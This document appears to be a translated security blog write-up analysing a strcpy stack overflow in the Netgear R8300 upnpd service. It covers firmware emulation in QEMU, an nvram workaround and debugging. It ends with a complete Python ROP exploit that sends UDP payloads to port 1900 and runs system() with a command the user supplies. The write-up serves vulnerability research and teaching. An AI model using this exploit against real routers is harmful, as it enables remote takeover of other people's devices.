Vulnerability Description:
There is a stack overflow vulnerability in the sub_25E04 function of the upnpd file. The length is not checked during strcpy, causing an overflow and allowing for a ROP attack to achieve command execution. Version: 1.0.2.134
Vulnerability Analysis and Reproduction1. Firmware Simulation Using qemu system simulation:
qemu startup:
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
ubuntu network configuration:
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
qemu network configuration:
#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
file transfer:
scp -r squashfs-root/ [email protected]:~/
running:
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
1. Fix run file: The error message is as follows, and it was found that the corresponding file is missing
3247 open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)
So manually create the corresponding file:
mkdir -p ./tmp/var/run
2. Fix nvram file: Run the upnpd file again, and it reports an error, which traces back to the following error:
/dev/nvram: No such device
3274 open("/lib/libnvram.so",O_RDONLY) = -1 errno=2 (No such file or directory)
3276 open("/dev/nvram",O_RDWR) = -1 errno=2 (No such file or directory)
/dev/nvram3276 write(2,0x3ff794d8,10) = 10
It was found that the nvram dependency is missing. NVRAM saves some configuration information of the device, and the program needs to read the configuration information during runtime. Due to the lack of the corresponding peripheral, an error will be reported. To compile the nvram file, the libnvram library provided by Firmadyne can be used, as it supports many APIs. The library provided by Firmadyne is as follows: https://github.com/firmadyne/libnvram
There are also nvram files specifically written for Netgear routers online, and this time this specialized one is selected. The link is as follows: https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
I originally wanted to use the ARM cross-compilation toolchain to compile, but it kept reporting errors, so I used buildroot to install the cross-compilation toolchain.
tar -xzvf buildroot-2019.02.1.tar.gz
sudo chmod -R 777 buildroot-2019.02.1
sudo make clean
sudo make menuconfig
Set architecture to arm little endian
sudo make -j8
gedit /etc/profile
export PATH=$PATH:/home/ubuntu/buildroot-2019.02.1/output/host/usr/bin
source /etc/profile
Then compile the nvram.c file
arm-linux-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
Manually load the nvram.so file and run again:
LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd
The error message is:
# ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
3. The dlsym hijacking nvram library’s implementer also hooks system, fopen, open, and other functions, so dlsym will also be used, and /lib/libdl.so.0 exports this symbol. Therefore, be sure to load this linked library during execution. Find its corresponding libc file
$ grep -r "dlsym"
Binary file nvram.so matches
Binary file sbin/pppd matches
Binary file usr/local/sbin/openvpn matches
Binary file usr/sbin/tc matches
Binary file usr/sbin/afpd matches
Binary file usr/lib/libasound.so matches
Binary file usr/lib/libsqlite3.so matches
nvram.c: real_system = dlsym(RTLD_NEXT, "system");
vram.c: real_fopen = dlsym(RTLD_NEXT, "fopen");
vram.c: real_open = dlsym(RTLD_NEXT, "open");
Binary file lib/libldb.so.1 matches
Binary file lib/libhcrypto-samba4.so.5 matches
Binary file lib/libkrb5-samba4.so.26 matches
Binary file lib/libdl.so.0 matches
Binary file lib/libsqlite3.so.0 matches
Binary file lib/libcrypto.so.1.0.0 matches
Binary file lib/libsamba-modules-samba4.so matches
$ readelf -a lib/libdl.so.0 | grep dlsym
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
Run again and load manually:
LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
The error message is:
[0x3ff60cb8] fopen('/tmp/nvram.ini', 'r') = 0x00000000
Cannot open /tmp/nvram.ini
4. Fix nvram.ini file. Refer to online information: [https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini]https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini
upnpd_debug_level=9
lan_ipaddr=192.168.100.2 (User simulates the corresponding local IP, qemu corresponds to qemu's IP)
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
Directly create nvram.ini in the tmp folder and fill in the above content
Run the upnpd file again, and it can be executed successfully:
# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
# [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x004bf008
[0x0002648c] custom_nvram initialized
[0x76e65cb8] fopen('/tmp/nvram.ini', 'r') = 0x004bf008
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 192.168.100.2
[nvram 2] hwver = R8500
[nvram 3] friendly_name = R8300
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr =
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'
[0x0002652c] acosNvramConfig_get('upnpd_debug_level') = '9'
set_value_to_org_xml:1149()
[0x0000e1e8] fopen('/www/Public_UPNP_gatedesc.xml', 'rb') = 0x004bf008
[0x0000e220] fopen('/tmp/upnp_xml', 'wb+') = 0x004bf008
data2XML()
[0x0000f520] acosNvramConfig_get('lan_ipaddr') = '192.168.100.2'
xmlValueConvert()
[0x76da1838] acosNvramConfig_get('hwrev') = ''
[0x0000b40c] acosNvramConfig_get('hwver') = 'R8500'
[0x0000b428] acosNvramConfig_get('hwver') = 'R8500'
[0x76da1838] acosNvramConfig_get('hwrev') = ''
[0x0000b478] acosNvramConfig_get('hwver') = 'R8500'
[0x0000b494] acosNvramConfig_get('hwver') = 'R8500'
[0x0000f4ec] acosNvramConfig_get('friendly_name') = 'R8300'
xmlValueConvert()
2. Vulnerability Analysis and Debugging Reverse analysis of the upnpd file is as follows, the v51 variable recvfrom obtains the content, and calls the sub_25E04 function, where the strcpy function directly assigns the overly long data of v51 to the smaller buffer v39, causing a stack overflow:
Using gdbserver for debugging:
qemu side:
# echo 0 > /proc/sys/kernel/randomize_va_space Turn off address randomization
# ps | grep upnp
2446 0 3324 S ./usr/sbin/upnpd
2688 0 1296 S grep upnp
# ./gdbserver-7.7.1-armhf-eabi5-v1-sysv :12345 --attach 2446
Host side:
gdb-multiarch
pwndbg> set architecture arm
pwndbg> set endian little
pwndbg> target remote 192.168.100.2:12345
The return address in the stack space and the strcpy target address are shown in the following image:
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x630 * b'a' +
p32(0x43434343)
)
print(payload)
s.connect(('192.168.100.2', 1900))
s.send(payload)
s.close()
However, sending this way cannot successfully overwrite the return address, the error is as follows:
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' +
p32(0x7effd5ec) + # v41
0x28 * b'a' +
p32(0x43434343)
)
s.connect(('192.168.100.2', 1900))
s.send(payload)
s.close()
The return address is shown in the following image:
The reasons are as follows:
1. First, the overflow overwrites the return address of a non-leaf function. Once this function executes its end statement to restore the saved value, the saved LR is popped into the PC to return to the caller.
2. Secondly, regarding the least significant bit, the BX instruction copies the LSB of the address loaded into the PC to the CPSR register's T state bit, and the CPSR register switches between ARM and Thumb modes: ARM (LSB=0)/Thumb (LSB=1).
We can see that the R8300 is running in THUMB mode:
When the processor is in ARM mode, each ARM instruction is 4 bytes, so the value of the PC register is the current instruction address + 8 bytes
When the processor is in Thumb mode, each Thumb instruction is 2 bytes, so the value of the PC register is the current instruction address + 4 bytes
Therefore, the saved LR (overwritten with 0x43434343) is popped into the PC, and then the LSB of the popped address is written into the CPSR register's T bit (bit 5), and finally, the LSB of the PC itself is set to 0, resulting in 0x43434342
Checksec checks the upnpd file as follows:
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
Therefore, it can be seen that the following conditions currently exist:
1. Can control R4-R11 and the value of the PC register through stack overflow
2. There is ASLR protection, so cannot directly write the libc address
3. There is NX protection, so cannot directly place shellcode in the stack space
4. The stack overflow caused by strcpy, so the payload cannot contain '\x00' bytes, otherwise it will be truncated
3. Vulnerability Exploitation The idea of exploiting the vulnerability is shown in the following image, and the overall idea is to utilize stack reuse. First, use the first recvfrom to place the expayload in the stack space, and utilize the characteristic of strcpy ‘\x00’ truncation, which will not cause overflow in the vulnerable function.
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
cmd=raw_input("cmd injection: ")
payload1 = (
'\x00'+
0x7bb*'a' +
p32(0x970a0)+ #r4,bss
8*'a'+ #r5,r6
p32(0xb764)+ #gadget2
cmd.ljust(0x400,"\x00")+ #sp
0xc*'a'+ #r4,r5,r6
p32(0xaaac) #system
)
payload2=(
0x604 * b'a' +
p32(0x7effd5fc) + #v41
0x28 * b'a' +
p32(0x13334) #gadget1
)
s.connect(('192.168.100.2', 1900))
s.send(payload1)
s.send(payload2)
s.close()
RCE is shown in the following image:
Summary Through debugging this vulnerability, one can comprehensively and systematically understand the simulation, analysis, debugging, and exploitation process of IoT vulnerabilities.
Reference materials: https://cq674350529.github.io/2020/09/16/PSV-2020-0211-Netgear-R8300-UPnP%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/https://cool-y.github.io/2021/01/08/Netgear-psv-2020-0211/
end
Recruitment Advertisement
ChaMd5 Venom is recruiting experts to join
Newly established group IOT + industrial control + sample analysis Long-term recruitment
Welcome to contact[email protected]
